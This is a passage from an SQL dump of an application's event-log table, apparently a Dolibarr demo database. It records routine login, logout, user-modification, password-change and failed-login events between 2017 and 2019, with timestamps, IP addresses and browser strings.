Safari/537.36',NULL,NULL,NULL,NULL),(825,'2017-02-15 17:17:00','USER_LOGIN',1,'2017-02-15 21:17:00',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(826,'2017-02-15 22:02:40','USER_LOGIN',1,'2017-02-16 02:02:40',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(827,'2017-02-16 22:13:27','USER_LOGIN',1,'2017-02-17 02:13:27',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x619','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(828,'2017-02-16 23:54:04','USER_LOGIN',1,'2017-02-17 03:54:04',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(829,'2017-02-17 09:14:27','USER_LOGIN',1,'2017-02-17 13:14:27',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(830,'2017-02-17 12:07:05','USER_LOGIN',1,'2017-02-17 16:07:05',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(831,'2017-02-19 21:22:20','USER_LOGIN',1,'2017-02-20 01:22:20',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(832,'2017-02-20 09:26:47','USER_LOGIN',1,'2017-02-20 13:26:47',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(833,'2017-02-20 16:39:55','USER_LOGIN',1,'2017-02-20 20:39:55',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(834,'2017-02-20 16:49:00','USER_MODIFY',1,'2017-02-20 20:49:00',12,'Modification utilisateur ccommerson','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(835,'2017-02-20 17:57:15','USER_LOGIN',1,'2017-02-20 21:57:14',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(836,'2017-02-20 19:43:48','USER_LOGIN',1,'2017-02-20 23:43:48',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(837,'2017-02-21 00:04:05','USER_LOGIN',1,'2017-02-21 04:04:05',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(838,'2017-02-21 10:23:13','USER_LOGIN',1,'2017-02-21 14:23:13',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(839,'2017-02-21 10:30:17','USER_LOGOUT',1,'2017-02-21 14:30:17',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(840,'2017-02-21 10:30:22','USER_LOGIN',1,'2017-02-21 14:30:22',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(841,'2017-02-21 11:44:05','USER_LOGIN',1,'2017-02-21 15:44:05',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(842,'2017-05-12 09:02:48','USER_LOGIN',1,'2017-05-12 13:02:48',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.96 Safari/537.36',NULL,NULL,NULL,NULL),(843,'2017-08-27 13:29:16','USER_LOGIN',1,'2017-08-27 17:29:16',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36',NULL,NULL,NULL,NULL),(844,'2017-08-28 09:11:07','USER_LOGIN',1,'2017-08-28 13:11:07',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36',NULL,NULL,NULL,NULL),(845,'2017-08-28 10:08:58','USER_LOGIN',1,'2017-08-28 14:08:58',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36',NULL,NULL,NULL,NULL),(846,'2017-08-28 10:12:46','USER_MODIFY',1,'2017-08-28 14:12:46',12,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36',NULL,NULL,NULL,NULL),(847,'2017-08-28 10:28:25','USER_LOGIN',1,'2017-08-28 14:28:25',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36',NULL,NULL,NULL,NULL),(848,'2017-08-28 10:28:36','USER_LOGOUT',1,'2017-08-28 14:28:36',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36',NULL,NULL,NULL,NULL),(849,'2017-08-28 10:34:50','USER_LOGIN',1,'2017-08-28 14:34:50',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36',NULL,NULL,NULL,NULL),(850,'2017-08-28 11:59:02','USER_LOGIN',1,'2017-08-28 15:59:02',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36',NULL,NULL,NULL,NULL),(851,'2017-08-29 09:57:34','USER_LOGIN',1,'2017-08-29 13:57:34',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(852,'2017-08-29 11:05:51','USER_LOGIN',1,'2017-08-29 15:05:51',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(853,'2017-08-29 14:15:58','USER_LOGIN',1,'2017-08-29 18:15:58',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(854,'2017-08-29 17:49:28','USER_LOGIN',1,'2017-08-29 21:49:28',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(855,'2017-08-30 11:53:25','USER_LOGIN',1,'2017-08-30 15:53:25',18,'(UserLogged,ldestailleur) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(856,'2017-08-30 12:19:31','USER_MODIFY',1,'2017-08-30 16:19:31',18,'Modification utilisateur ldestailleur - UserRemovedFromGroup','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(857,'2017-08-30 12:19:32','USER_MODIFY',1,'2017-08-30 16:19:32',18,'Modification utilisateur ldestailleur - UserRemovedFromGroup','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(858,'2017-08-30 12:19:33','USER_MODIFY',1,'2017-08-30 16:19:33',18,'Modification utilisateur ldestailleur - UserRemovedFromGroup','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(859,'2017-08-30 12:21:42','USER_LOGOUT',1,'2017-08-30 16:21:42',18,'(UserLogoff,ldestailleur)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(860,'2017-08-30 12:21:48','USER_LOGIN',1,'2017-08-30 16:21:48',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(861,'2017-08-30 15:02:06','USER_LOGIN',1,'2017-08-30 19:02:06',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(862,'2017-08-31 09:25:42','USER_LOGIN',1,'2017-08-31 13:25:42',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(863,'2017-09-04 07:51:21','USER_LOGIN',1,'2017-09-04 11:51:21',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x577','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(864,'2017-09-04 09:17:09','USER_LOGIN',1,'2017-09-04 13:17:09',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(865,'2017-09-04 13:40:28','USER_LOGIN',1,'2017-09-04 17:40:28',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(866,'2017-09-06 07:55:30','USER_LOGIN',1,'2017-09-06 11:55:30',18,'(UserLogged,ldestailleur) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(867,'2017-09-06 07:55:33','USER_LOGOUT',1,'2017-09-06 11:55:33',18,'(UserLogoff,ldestailleur)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(868,'2017-09-06 07:55:38','USER_LOGIN',1,'2017-09-06 11:55:38',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(869,'2017-09-06 16:03:38','USER_LOGIN',1,'2017-09-06 20:03:38',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(870,'2017-09-06 19:43:07','USER_LOGIN',1,'2017-09-06 23:43:07',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(871,'2018-01-19 11:18:08','USER_LOGOUT',1,'2018-01-19 11:18:08',12,'(UserLogoff,admin)','82.240.38.230','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36',NULL,NULL,NULL,NULL),(872,'2018-01-19 11:18:47','USER_LOGIN',1,'2018-01-19 11:18:47',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x965','82.240.38.230','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36',NULL,NULL,NULL,NULL),(873,'2018-01-19 11:21:41','USER_LOGIN',1,'2018-01-19 11:21:41',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x926','82.240.38.230','Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0',NULL,NULL,NULL,NULL),(874,'2018-01-19 11:24:18','USER_NEW_PASSWORD',1,'2018-01-19 11:24:18',12,'Password change for admin','82.240.38.230','Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0',NULL,NULL,NULL,NULL),(875,'2018-01-19 11:24:18','USER_MODIFY',1,'2018-01-19 11:24:18',12,'User admin modified','82.240.38.230','Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0',NULL,NULL,NULL,NULL),(876,'2018-01-19 11:28:45','USER_LOGOUT',1,'2018-01-19 11:28:45',12,'(UserLogoff,admin)','82.240.38.230','Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0',NULL,NULL,NULL,NULL),(877,'2018-03-16 09:54:15','USER_LOGIN_FAILED',1,'2018-03-16 13:54:15',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36',NULL,NULL,NULL,NULL),(878,'2018-03-16 09:54:23','USER_LOGIN',1,'2018-03-16 13:54:23',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x936','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36',NULL,NULL,NULL,NULL),(879,'2019-09-26 11:35:07','USER_MODIFY',1,'2019-09-26 13:35:07',12,'User aboston modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(880,'2019-09-26 11:35:33','USER_MODIFY',1,'2019-09-26 13:35:33',12,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(881,'2019-09-26 11:36:33','USER_MODIFY',1,'2019-09-26 13:36:33',12,'User aeinstein modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(882,'2019-09-26 11:36:56','USER_MODIFY',1,'2019-09-26 13:36:56',12,'User ccommerson modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(883,'2019-09-26 11:37:30','USER_MODIFY',1,'2019-09-26 13:37:30',12,'User ldestailleur modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(884,'2019-09-26 11:37:56','USER_MODIFY',1,'2019-09-26 13:37:56',12,'User mcurie modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(885,'2019-09-26 11:38:11','USER_MODIFY',1,'2019-09-26 13:38:11',12,'User pcurie modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(886,'2019-09-26 11:38:27','USER_MODIFY',1,'2019-09-26 13:38:27',12,'User sscientol modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(887,'2019-09-26 11:38:48','USER_MODIFY',1,'2019-09-26 13:38:48',12,'User zzeceo modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(888,'2019-09-26 11:39:35','USER_MODIFY',1,'2019-09-26 13:39:35',12,'User ccommercy modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(889,'2019-09-26 11:41:28','USER_MODIFY',1,'2019-09-26 13:41:28',12,'User bbookkeeper modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(890,'2019-09-26 11:43:27','USER_MODIFY',1,'2019-09-26 13:43:27',12,'User demo modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(891,'2019-09-26 11:46:44','USER_MODIFY',1,'2019-09-26 13:46:44',12,'User aleerfok modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(892,'2019-09-26 11:46:54','USER_MODIFY',1,'2019-09-26 13:46:54',12,'User ccommerson modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(893,'2019-09-26 11:47:08','USER_MODIFY',1,'2019-09-26 13:47:08',12,'User sscientol modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(894,'2019-09-26 11:48:04','USER_MODIFY',1,'2019-09-26 13:48:04',12,'User ccommerson modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(895,'2019-09-26 11:48:32','USER_MODIFY',1,'2019-09-26 13:48:32',12,'User ccommercy modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(896,'2019-09-26 11:48:49','USER_MODIFY',1,'2019-09-26 13:48:49',12,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(897,'2019-09-26 11:49:12','USER_MODIFY',1,'2019-09-26 13:49:12',12,'User bbookkeeper modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(898,'2019-09-26 11:49:21','USER_MODIFY',1,'2019-09-26 13:49:21',12,'User pcurie modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(899,'2019-09-26 11:49:28','USER_MODIFY',1,'2019-09-26 13:49:28',12,'User demo modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(900,'2019-09-26 11:49:37','USER_MODIFY',1,'2019-09-26 13:49:37',12,'User demo modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(901,'2019-09-26 11:49:46','USER_MODIFY',1,'2019-09-26 13:49:46',12,'User aeinstein modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(902,'2019-09-26 11:49:57','USER_MODIFY',1,'2019-09-26 13:49:57',12,'User mcurie modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(903,'2019-09-26 11:50:17','USER_MODIFY',1,'2019-09-26 13:50:17',12,'User zzeceo modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(904,'2019-09-26 11:50:43','USER_MODIFY',1,'2019-09-26 13:50:43',12,'User ccommercy modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(905,'2019-09-26 11:51:10','USER_MODIFY',1,'2019-09-26 13:51:10',12,'User sscientol modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(906,'2019-09-26 11:51:36','USER_MODIFY',1,'2019-09-26 13:51:36',12,'User aboston modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(907,'2019-09-26 11:52:16','USER_MODIFY',1,'2019-09-26 13:52:16',12,'User demo modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(908,'2019-09-26 11:52:35','USER_MODIFY',1,'2019-09-26 13:52:35',12,'User bbookkeeper modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(909,'2019-09-26 11:52:59','USER_MODIFY',1,'2019-09-26 13:52:59',12,'User bbookkeeper modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(910,'2019-09-26 11:53:28','USER_MODIFY',1,'2019-09-26 13:53:28',12,'User mcurie modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(911,'2019-09-26 11:53:50','USER_MODIFY',1,'2019-09-26 13:53:50',12,'User zzeceo modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(912,'2019-09-26 11:54:18','USER_MODIFY',1,'2019-09-26 13:54:18',12,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(913,'2019-09-26 11:54:43','USER_MODIFY',1,'2019-09-26 13:54:43',12,'User ccommercy modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(914,'2019-09-26 11:55:09','USER_MODIFY',1,'2019-09-26 13:55:09',12,'User sscientol modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(915,'2019-09-26 11:55:23','USER_MODIFY',1,'2019-09-26 13:55:23',12,'User ccommerson modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(916,'2019-09-26 11:55:35','USER_MODIFY',1,'2019-09-26 13:55:35',12,'User aleerfok modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(917,'2019-09-26 11:55:58','USER_MODIFY',1,'2019-09-26 13:55:58',12,'User ccommercy modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(918,'2019-09-26 15:28:46','USER_LOGIN_FAILED',1,'2019-09-26 17:28:46',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(919,'2019-09-26 15:28:51','USER_LOGIN_FAILED',1,'2019-09-26 17:28:51',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; 